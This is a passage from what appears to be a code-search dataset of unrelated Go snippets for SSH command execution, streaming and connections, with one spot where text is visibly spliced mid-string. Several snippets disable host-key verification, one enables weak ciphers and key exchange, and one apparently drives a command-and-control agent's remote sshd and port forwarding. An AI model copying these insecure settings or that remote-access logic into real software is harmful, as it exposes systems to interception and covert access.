fmt.Sprintf(\\\"%s.%s.%s:%d\\\", host, s.projectID, DropletDomain, defaultSSHPort)\\n\\n\\tpemBytes, err := s.repo.GetKey(s.projectID)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tsigner, err := ssh.ParsePrivateKey(pemBytes)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"parse key failed: %v\\\", err)\\n\\t}\\n\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: \\\"workshop\\\",\\n\\t\\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\\n\\t}\\n\\n\\ts.log.WithField(\\\"hostname\\\", hostname).Info(\\\"dialing\\\")\\n\\tconn, err := ssh.Dial(\\\"tcp\\\", hostname, config)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\ts.log.WithField(\\\"hostname\\\", hostname).Info(\\\"creating session\\\")\\n\\tsession, err := conn.NewSession()\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tdefer session.Close()\\n\\n\\tvar buf bytes.Buffer\\n\\tsession.Stdout = &buf\\n\\n\\ts.log.WithFields(logrus.Fields{\\n\\t\\t\\\"hostname\\\": hostname,\\n\\t\\t\\\"cmd\\\": cmd}).\\n\\t\\tInfo(\\\"running command\\\")\\n\\terr = session.Run(cmd)\\n\\tif err != nil {\\n\\t\\ts.log.WithField(\\\"output\\\", buf.String()).WithError(err).Error(\\\"ssh client run returned non zero result\\\")\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"%s\\\\n%s\\\", err, buf.String())\\n\\t}\\n\\n\\treturn buf.String(), nil\\n}\",\n \"func (execImpl *Exec) CommandCombinedOutput(name string, arg ...string) ([]byte, error) {\\n\\treturn exec.Command(name, arg...).CombinedOutput()\\n}\",\n \"func (ctsssto ConnectToSourceSQLServerTaskOutput) AsBasicConnectToSourceSQLServerTaskOutput() (BasicConnectToSourceSQLServerTaskOutput, bool) {\\n\\treturn &ctsssto, true\\n}\",\n \"func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\\n\\tclient := s.doLookup(userserver)\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(\\\"Failed to create session:\\\", err)\\n\\t}\\n\\tdefer session.Close()\\n\\t/*\\n\\t\\tstdout, err := session.StdoutPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalln(\\\"Failed to pipe session stdout:\\\", err)\\n\\t\\t}\\n\\n\\t\\tstderr, err := session.StderrPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalln(\\\"Failed to pipe session stderr:\\\", err)\\n\\t\\t}\\n\\t*/\\n\\n\\tbuf, err := session.CombinedOutput(cmd)\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(\\\"Failed to execute cmd:\\\", err)\\n\\t}\\n\\n\\t// Network read pushed to background\\n\\t/*readExec := func(r io.Reader, ch chan []byte) {\\n\\t\\tif str, err := ioutil.ReadAll(r); err != nil {\\n\\t\\t\\tch <- str\\n\\t\\t}\\n\\t}\\n\\toutCh := make(chan []byte)\\n\\tgo readExec(stdout, outCh)\\n\\t*/\\n\\treturn string(buf)\\n}\",\n \"func (md *MassDns) GetOutput() <-chan dns.RR {\\n\\toc := md.output\\n\\treturn oc\\n}\",\n \"func (host *Host) SSHRead(job *Job, command string) (out string, err error) {\\n\\tproc, err := host.startSSH(job, command)\\n\\tclose(proc.Stdin())\\n\\tfor {\\n\\t\\tselect {\\n\\t\\tcase line, ok := <-proc.Stdout():\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tout = line\\n\\t\\tcase line, ok := <-proc.Stderr():\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\thost.logger.Println(line)\\n\\t\\tcase err = <-proc.Done():\\n\\t\\t\\treturn\\n\\t\\tcase <-time.After(job.Timeout):\\n\\t\\t\\treturn \\\"\\\", ErrorTimeout\\n\\t\\tcase <-host.cancel:\\n\\t\\t\\tif proc.IsAlive() {\\n\\t\\t\\t\\tproc.Signal(os.Interrupt)\\n\\t\\t\\t}\\n\\t\\t\\treturn \\\"\\\", ErrorCancel\\n\\t\\t}\\n\\t}\\n}\",\n \"func outputToken(token []byte) error {\\n\\toutput, err := json.Marshal(newExecCredential(token))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err = fmt.Printf(\\\"%s\\\", output)\\n\\treturn err\\n}\",\n \"func runCommandOutput(dir, command string, args ...string) ([]byte, error) {\\n\\tcmd := exec.Command(command, args...)\\n\\tcmd.Dir = dir\\n\\n\\toutput, err := cmd.CombinedOutput()\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, fmt.Sprintf(\\\"error running '%s':\\\\n%s\\\\n\\\", strings.Join(append([]string{command}, args...), \\\" \\\"), output))\\n\\t}\\n\\n\\treturn output, nil\\n}\",\n \"func Exec(cmds []string, host config.Host, pwd string, force bool) (string, error) {\\n\\tvar err error\\n\\tvar auth goph.Auth\\n\\tvar callback ssh.HostKeyCallback\\n\\n\\tif force {\\n\\t\\tcallback = ssh.InsecureIgnoreHostKey()\\n\\t} else {\\n\\t\\tif callback, err = DefaultKnownHosts(); err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t}\\n\\n\\tif host.Keyfile != \\\"\\\" {\\n\\t\\t// Start new ssh connection with private key.\\n\\t\\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\\n\\t\\t\\tif os.Getenv(\\\"GO\\\") == \\\"DEBUG\\\" {\\n\\t\\t\\t\\tfmt.Println(err)\\n\\t\\t\\t}\\n\\t\\t\\t// ssh: this private key is passphrase protected\\n\\t\\t\\tpwd = common.AskPass(\\\"Private key passphrase: \\\")\\n\\t\\t\\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\\n\\t\\t\\t\\treturn \\\"\\\", err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\tif pwd == \\\"\\\" {\\n\\t\\t\\tpwd = common.AskPass(\\n\\t\\t\\t\\tfmt.Sprintf(\\\"%s@%s's password: \\\", host.User, host.Addr),\\n\\t\\t\\t)\\n\\t\\t}\\n\\t\\tauth = goph.Password(pwd)\\n\\t}\\n\\n\\tif os.Getenv(\\\"GO\\\") == \\\"DEBUG\\\" {\\n\\t\\tfmt.Println(host, pwd, force)\\n\\t}\\n\\n\\tclient, err := goph.NewConn(&goph.Config{\\n\\t\\tUser: host.User,\\n\\t\\tAddr: host.Addr,\\n\\t\\tPort: host.Port,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 5 * time.Second,\\n\\t\\tCallback: callback,\\n\\t})\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// Defer closing the network connection.\\n\\tdefer client.Close()\\n\\n\\t// Execute your command.\\n\\tout, err := client.Run(strings.Join(cmds, \\\" && \\\"))\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// Get your output as []byte.\\n\\treturn string(out), nil\\n}\",\n \"func (ctssstodl ConnectToSourceSQLServerTaskOutputDatabaseLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\\n\\treturn nil, false\\n}\",\n \"func testCommand(t *testing.T, client ssh.Client, command string) error {\\n\\t// To avoid mixing the output streams of multiple commands running in\\n\\t// parallel tests, we combine stdout and stderr on the remote host, and\\n\\t// capture stdout and write it to the test log here.\\n\\tstdout := new(bytes.Buffer)\\n\\tif err := client.Run(command+\\\" 2>&1\\\", stdout, os.Stderr); err != nil {\\n\\t\\tt.Logf(\\\"`%s` failed with %v:\\\\n%s\\\", command, err, stdout.String())\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func runCommandWithOutput(execCmd *exec.Cmd) (string, int, error) {\\n\\tresult := icmd.RunCmd(transformCmd(execCmd))\\n\\treturn result.Combined(), result.ExitCode, result.Error\\n}\",\n \"func (c *Cmd) Output(opts ...RunOption) ([]byte, error) {\\n\\tif c.Stdout != nil {\\n\\t\\treturn nil, errStdoutSet\\n\\t}\\n\\n\\tvar buf bytes.Buffer\\n\\tc.Stdout = &buf\\n\\n\\tif err := c.Start(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\terr := c.Wait(opts...)\\n\\treturn buf.Bytes(), err\\n}\",\n \"func (m *MinikubeRunner) SSH(cmdStr string) (string, error) {\\n\\tprofileArg := fmt.Sprintf(\\\"-p=%s\\\", m.Profile)\\n\\tpath, _ := filepath.Abs(m.BinaryPath)\\n\\n\\tcmd := exec.Command(path, profileArg, \\\"ssh\\\", cmdStr)\\n\\tLogf(\\\"SSH: %s\\\", cmdStr)\\n\\tstdout, err := cmd.CombinedOutput()\\n\\tLogf(\\\"Output: %s\\\", stdout)\\n\\tif err, ok := err.(*exec.ExitError); ok {\\n\\t\\treturn string(stdout), err\\n\\t}\\n\\treturn string(stdout), nil\\n}\",\n \"func RunSSHCommand(SSHHandle *ssh.Client, cmd string, sudo bool, bg bool, logger *log.Logger) (retCode int, stdout, stderr []string) {\\n\\tlogger.Println(\\\"Running cmd \\\" + cmd)\\n\\tvar stdoutBuf, stderrBuf bytes.Buffer\\n\\tsshSession, err := SSHHandle.NewSession()\\n\\tif err != nil {\\n\\t\\tlogger.Printf(\\\"SSH session creation failed! %s\\\", err)\\n\\t\\treturn -1, nil, nil\\n\\t}\\n\\tdefer sshSession.Close()\\n\\n\\tmodes := ssh.TerminalModes{\\n\\t\\tssh.ECHO: 0, // disable echoing\\n\\t\\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\\n\\t\\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\\n\\t}\\n\\n\\tif err = sshSession.RequestPty(\\\"xterm\\\", 80, 40, modes); err != nil {\\n\\t\\tlogger.Println(\\\"SSH session Pty creation failed!\\\")\\n\\t\\treturn -1, nil, nil\\n\\t}\\n\\n\\tsshOut, err := sshSession.StdoutPipe()\\n\\tif err != nil {\\n\\t\\tlogger.Println(\\\"SSH session StdoutPipe creation failed!\\\")\\n\\t\\treturn -1, nil, nil\\n\\t}\\n\\tsshErr, err := sshSession.StderrPipe()\\n\\tif err != nil {\\n\\t\\tlogger.Println(\\\"SSH session StderrPipe creation failed!\\\")\\n\\t\\treturn -1, nil, nil\\n\\t}\\n\\n\\tshout := io.MultiWriter(&stdoutBuf, (*LogWriter)(logger))\\n\\tssherr := io.MultiWriter(&stderrBuf, (*LogWriter)(logger))\\n\\n\\tgo func() {\\n\\t\\tio.Copy(shout, sshOut)\\n\\t}()\\n\\tgo func() {\\n\\n\\t\\tio.Copy(ssherr, sshErr)\\n\\t}()\\n\\n\\tif bg {\\n\\t\\tcmd = \\\"nohup sh -c \\\\\\\"\\\" + cmd + \\\" 2>&1 >/dev/null 1:\n\t\t\t\tfmt.Println(\"Only one argument is allowed\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\treturn command\n}","func sshConnect(ctx context.Context, conn net.Conn, ssh ssh.ClientConfig, dialTimeout time.Duration, addr string) (net.Conn, error) {\n\tssh.Timeout = dialTimeout\n\tsconn, err := tracessh.NewClientConnWithDeadline(ctx, conn, addr, &ssh)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, conn.Close())\n\t}\n\n\t// Build a net.Conn over the tunnel. Make this an exclusive connection:\n\t// close the net.Conn as well as the channel upon close.\n\tconn, _, err = sshutils.ConnectProxyTransport(sconn.Conn, &sshutils.DialReq{\n\t\tAddress: constants.RemoteAuthServer,\n\t}, true)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, sconn.Close())\n\t}\n\treturn conn, nil\n}","func (s *Session) doCommandStream(\n\tctx context.Context,\n\tname Name,\n\tf func(ctx context.Context, conn *grpc.ClientConn, header *headers.RequestHeader) (interface{}, error),\n\tresponseFunc func(interface{}) (*headers.ResponseHeader, interface{}, error)) (<-chan interface{}, error) {\n\tconn, err := s.conns.Connect()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstream, requestHeader := s.nextStreamHeader(getPrimitiveID(name))\n\tresponses, err := f(ctx, conn, requestHeader)\n\tif err != nil {\n\t\tstream.Close()\n\t\treturn nil, err\n\t}\n\n\t// Create a goroutine to close the stream when the context is canceled.\n\t// This will ensure that the server is notified the stream has been closed on the next keep-alive.\n\tgo func() {\n\t\t<-ctx.Done()\n\t\tstream.Close()\n\t}()\n\n\thandshakeCh := make(chan struct{})\n\tresponseCh := make(chan interface{})\n\tgo s.commandStream(ctx, f, responseFunc, responses, stream, requestHeader, handshakeCh, responseCh)\n\n\tselect {\n\tcase <-handshakeCh:\n\t\treturn responseCh, nil\n\tcase <-time.After(15 * time.Second):\n\t\treturn nil, errors.NewTimeout(\"handshake timed out\")\n\t}\n}","func (st *state) connectStream(path string, attrs url.Values, extraHeaders http.Header) (base.Stream, error) {\n\ttarget := url.URL{\n\t\tScheme: \"wss\",\n\t\tHost: st.addr,\n\t\tPath: path,\n\t\tRawQuery: attrs.Encode(),\n\t}\n\t// TODO(macgreagoir) IPv6. Ubuntu still always provides IPv4 loopback,\n\t// and when/if this changes localhost should resolve to IPv6 loopback\n\t// in any case (lp:1644009). Review.\n\tcfg, err := websocket.NewConfig(target.String(), \"http://localhost/\")\n\t// Add any cookies because they will not be sent to websocket\n\t// connections by default.\n\tfor header, values := range extraHeaders {\n\t\tfor _, value := range values {\n\t\t\tcfg.Header.Add(header, value)\n\t\t}\n\t}\n\n\tconnection, err := websocketDialConfig(cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := readInitialStreamError(connection); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\treturn connection, nil\n}","func (e *streamExecutor) Stream(stdin io.Reader, stdout, stderr io.Writer, tty bool) error {\n\tsupportedProtocols := []string{StreamProtocolV2Name, StreamProtocolV1Name}\n\tconn, protocol, err := e.Dial(supportedProtocols...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\n\tvar streamer streamProtocolHandler\n\n\tswitch protocol {\n\tcase StreamProtocolV2Name:\n\t\tstreamer = &streamProtocolV2{\n\t\t\tstdin: stdin,\n\t\t\tstdout: stdout,\n\t\t\tstderr: stderr,\n\t\t\ttty: tty,\n\t\t}\n\tcase \"\":\n\t\tglog.V(4).Infof(\"The server did not negotiate a streaming protocol version. Falling back to %s\", StreamProtocolV1Name)\n\t\tfallthrough\n\tcase StreamProtocolV1Name:\n\t\tstreamer = &streamProtocolV1{\n\t\t\tstdin: stdin,\n\t\t\tstdout: stdout,\n\t\t\tstderr: stderr,\n\t\t\ttty: tty,\n\t\t}\n\t}\n\n\treturn streamer.stream(conn)\n}","func SSHConnect() {\n\tcommand := \"uptime\"\n\tvar usInfo userInfo\n\tvar kP keyPath\n\tkey, err := ioutil.ReadFile(kP.privetKey)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tconfig := &ssh.ClientConfig{\n\t\tUser: usInfo.user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: hostKeyCallBack,\n\t}\n\tclient, err := ssh.Dial(\"tcp\", usInfo.servIP+\":\"+usInfo.port, config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer client.Close()\n\tss, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer ss.Close()\n\tvar stdoutBuf bytes.Buffer\n\tss.Stdout = &stdoutBuf\n\tss.Run(command)\n\tfmt.Println(stdoutBuf.String())\n}","func Test_SSH(t *testing.T) {\n\tvar cipherList []string\n\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tdefer session.Close()\n\n\tcmdlist := strings.Split(cmd, \";\")\n\tstdinBuf, err := session.StdinPipe()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\tvar outbt, errbt bytes.Buffer\n\tsession.Stdout = &outbt\n\n\tsession.Stderr = &errbt\n\terr = session.Shell()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tfor _, c := range cmdlist {\n\t\tc = c + \"\\n\"\n\t\tstdinBuf.Write([]byte(c))\n\n\t}\n\tsession.Wait()\n\tt.Log((outbt.String() + errbt.String()))\n\treturn\n}","func (this Scanner) connect(user, host string, conf ssh.ClientConfig) (*ssh.Client, *ssh.Session, error) {\n\t// Develop the network connection out\n\tconn, err := ssh.Dial(\"tcp\", host, &conf)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Actually perform our connection\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tconn.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn conn, session, nil\n}","func sftpconnect(n *Node) (*sftp.Client, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tsshClient *ssh.Client\n\t\tsftpClient *sftp.Client\n\t\terr error\n\t)\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// Connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif sshClient, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create sftp client\n\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn sftpClient, nil\n}","func cmdStream(cmd *exec.Cmd, input io.Reader) (io.ReadCloser, error) {\n\tcmd.Stdin = input\n\tpipeR, pipeW := io.Pipe()\n\tcmd.Stdout = pipeW\n\tvar errBuf bytes.Buffer\n\tcmd.Stderr = &errBuf\n\n\t// Run the command and return the pipe\n\tif err := cmd.Start(); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Copy stdout to the returned pipe\n\tgo func() {\n\t\tif err := cmd.Wait(); err != nil {\n\t\t\tpipeW.CloseWithError(fmt.Errorf(\"%s: %s\", err, errBuf.String()))\n\t\t} else {\n\t\t\tpipeW.Close()\n\t\t}\n\t}()\n\n\treturn pipeR, nil\n}","func SSHConnect(resource *OpenAmResource, port string) (*ssh.Client, *ssh.Session, error) {\n\n\tsshConfig := &ssh.ClientConfig{\n\t\tUser: resource.Username,\n\t\tAuth: []ssh.AuthMethod{ssh.Password(resource.Password)},\n\t}\n\n\tserverString := resource.Hostname + \":\" + port\n\n\tsshConfig.HostKeyCallback = ssh.InsecureIgnoreHostKey()\n\tclient, err := ssh.Dial(\"tcp\", serverString, sshConfig)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tclient.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn client, session, nil\n}","func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\n\tfmt.Println(cmd)\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := &bytes.Buffer{}\n\twriter := io.MultiWriter(os.Stdout, buf)\n\tgo io.Copy(writer, out)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo io.Copy(os.Stderr, outerr)\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}","func (sshClient *SSHClient) connect() (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// get auth method\n\tauth = make([]ssh.AuthMethod, 0)\n\tauth = append(auth, ssh.Password(sshClient.Password))\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: sshClient.Username,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\tclientConfig.Ciphers = append(clientConfig.Ciphers, \"aes128-cbc\", \"aes128-ctr\")\n\n\tif sshClient.KexAlgorithms != \"\" {\n\t\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, sshClient.KexAlgorithms)\n\t} else {\n\t\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, \"diffie-hellman-group1-sha1\")\n\t}\n\n\t/*if sshClient.Cipher != \"\" {\n\t\tclientConfig.Cipher = append(clientConfig.Cipher, sshClient.Cipher)\n\t} else {\n\t\tclientConfig.Cipher = append(clientConfig.Cipher, \"diffie-hellman-group1-sha1\")\n\t}*/\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", sshClient.Host, sshClient.Port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}","func SSHClient(shell, port string) (err error) {\n\tif !util.IsCommandExist(\"ssh\") {\n\t\terr = fmt.Errorf(\"ssh must be installed\")\n\t\treturn\n\t}\n\n\t// is port mapping already done?\n\tlport := strconv.Itoa(util.RandInt(2048, 65535))\n\tto := \"127.0.0.1:\" + port\n\texists := false\n\tfor _, p := range PortFwds {\n\t\tif p.Agent == CurrentTarget && p.To == to {\n\t\t\texists = true\n\t\t\tlport = p.Lport // use the correct port\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !exists {\n\t\t// start sshd server on target\n\t\tcmd := fmt.Sprintf(\"!sshd %s %s %s\", shell, port, uuid.NewString())\n\t\tif shell != \"bash\" {\n\t\t\terr = SendCmdToCurrentTarget(cmd)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tCliPrintInfo(\"Starting sshd (%s) on target %s\", shell, strconv.Quote(CurrentTarget.Tag))\n\n\t\t\t// wait until sshd is up\n\t\t\tdefer func() {\n\t\t\t\tCmdResultsMutex.Lock()\n\t\t\t\tdelete(CmdResults, cmd)\n\t\t\t\tCmdResultsMutex.Unlock()\n\t\t\t}()\n\t\t\tfor {\n\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\tres, exists := CmdResults[cmd]\n\t\t\t\tif exists {\n\t\t\t\t\tif strings.Contains(res, \"success\") {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t} else {\n\t\t\t\t\t\terr = fmt.Errorf(\"Start sshd failed: %s\", res)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// set up port mapping for the ssh session\n\t\tCliPrintInfo(\"Setting up port mapping for sshd\")\n\t\tpf := &PortFwdSession{}\n\t\tpf.Ctx, pf.Cancel = context.WithCancel(context.Background())\n\t\tpf.Lport, pf.To = lport, to\n\t\tgo func() {\n\t\t\terr = pf.RunPortFwd()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"PortFwd failed: %v\", err)\n\t\t\t\tCliPrintError(\"Start port mapping for sshd: %v\", err)\n\t\t\t}\n\t\t}()\n\t\tCliPrintInfo(\"Waiting for response from %s\", CurrentTarget.Tag)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\t// wait until the port mapping is ready\n\texists = false\nwait:\n\tfor i := 0; i < 100; i++ {\n\t\tif exists {\n\t\t\tbreak\n\t\t}\n\t\ttime.Sleep(100 * time.Millisecond)\n\t\tfor _, p := range PortFwds {\n\t\t\tif p.Agent == CurrentTarget && p.To == to {\n\t\t\t\texists = true\n\t\t\t\tbreak wait\n\t\t\t}\n\t\t}\n\t}\n\tif !exists {\n\t\terr = errors.New(\"Port mapping unsuccessful\")\n\t\treturn\n\t}\n\n\t// let's do the ssh\n\tsshPath, err := exec.LookPath(\"ssh\")\n\tif err != nil {\n\t\tCliPrintError(\"ssh not found, please install it first: %v\", err)\n\t}\n\tsshCmd := fmt.Sprintf(\"%s -p %s -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no 127.0.0.1\",\n\t\tsshPath, lport)\n\tCliPrintSuccess(\"Opening SSH session for %s in new window. \"+\n\t\t\"If that fails, please execute command %s manaully\",\n\t\tCurrentTarget.Tag, strconv.Quote(sshCmd))\n\n\t// agent name\n\tname := CurrentTarget.Hostname\n\tlabel := Targets[CurrentTarget].Label\n\tif label != \"nolabel\" && label != \"-\" {\n\t\tname = label\n\t}\n\treturn TmuxNewWindow(fmt.Sprintf(\"%s-%s\", name, shell), sshCmd)\n}","func sshAgent() (io.ReadWriteCloser, error) {\r\n cmd := exec.Command(\"wsl\", \"bash\", \"-c\", \"PS1=x source ~/.bashrc; socat - UNIX:\\\\$SSH_AUTH_SOCK\")\r\n stdin, err := cmd.StdinPipe()\r\n if err != nil {\r\n return nil, err\r\n }\r\n stdout, err := cmd.StdoutPipe()\r\n if err != nil {\r\n return nil, err\r\n }\r\n if err := cmd.Start(); err != nil {\r\n return nil, err\r\n }\r\n return &sshAgentCmd{stdout, stdin, cmd}, nil\r\n}","func (ch *ServerChannel) Connect(c *Client) {}","func (server *Server) sendCommand(clientID string, cmd *pb.ExecutionCommand) {\n\tstream := server.clientStreams[clientID]\n\tlog.Printf(\"sending stream to client %s\", clientID)\n\tstream.Send(cmd)\n}","func (s *Transport) connect(user string, config *ssh.ClientConfig) (*ssh.Client, error) {\n const sshTimeout = 30 * time.Second\n\n if v, ok := s.client(user); ok {\n return v, nil\n }\n\n client, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", s.addr, s.port), config)\n if err != nil {\n return nil, err\n }\n s.mu.Lock()\n defer s.mu.Unlock()\n s.clients[user] = client\n return client, nil\n}","func (client *SdnClient) SSHPortForwarding(localPort, targetPort uint16,\n\ttargetIP string) (close func(), err error) {\n\tfwdArgs := fmt.Sprintf(\"%d:%s:%d\", localPort, targetIP, targetPort)\n\targs := client.sshArgs(\"-v\", \"-T\", \"-L\", fwdArgs, \"tail\", \"-f\", \"/dev/null\")\n\tcmd := exec.Command(\"ssh\", args...)\n\tstdout, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcmd.Stderr = cmd.Stdout\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttunnelReadyCh := make(chan bool, 1)\n\tgo func(tunnelReadyCh chan<- bool) {\n\t\tvar listenerReady, fwdReady, sshReady bool\n\t\tfwdMsg := fmt.Sprintf(\"Local connections to LOCALHOST:%d \" +\n\t\t\t\"forwarded to remote address %s:%d\", localPort, targetIP, targetPort)\n\t\tlistenMsg := fmt.Sprintf(\"Local forwarding listening on 127.0.0.1 port %d\",\n\t\t\tlocalPort)\n\t\tsshReadyMsg := \"Entering interactive session\"\n\t\tscanner := bufio.NewScanner(stdout)\n\t\tfor scanner.Scan() {\n\t\t\tline := scanner.Text()\n\t\t\tif strings.Contains(line, fwdMsg) {\n\t\t\t\tfwdReady = true\n\t\t\t}\n\t\t\tif strings.Contains(line, listenMsg) {\n\t\t\t\tlistenerReady = true\n\t\t\t}\n\t\t\tif strings.Contains(line, sshReadyMsg) {\n\t\t\t\tsshReady = true\n\t\t\t}\n\t\t\tif listenerReady && fwdReady && sshReady {\n\t\t\t\ttunnelReadyCh <- true\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}(tunnelReadyCh)\n\tclose = func() {\n\t\terr = cmd.Process.Kill()\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"failed to kill %s: %v\", cmd, err)\n\t\t} else {\n\t\t\t_ = cmd.Wait()\n\t\t}\n\t}\n\t// Give tunnel some time to open.\n\tselect {\n\tcase <-tunnelReadyCh:\n\t\t// Just an extra cushion for the tunnel to establish.\n\t\ttime.Sleep(500 * time.Millisecond)\n\t\treturn close, nil\n\tcase <-time.After(30 * time.Second):\n\t\tclose()\n\t\treturn nil, fmt.Errorf(\"failed to create SSH tunnel %s in time\", fwdArgs)\n\t}\n}","func (c *Client) ExecStream(options *kubectl.ExecStreamOptions) error {\n\treturn nil\n}","func (rhost *rhostData) cmdConnect(rec *receiveData) {\n\n\t// Parse cmd connect data\n\tpeer, addr, port, err := rhost.cmdConnectData(rec)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Does not process this command if 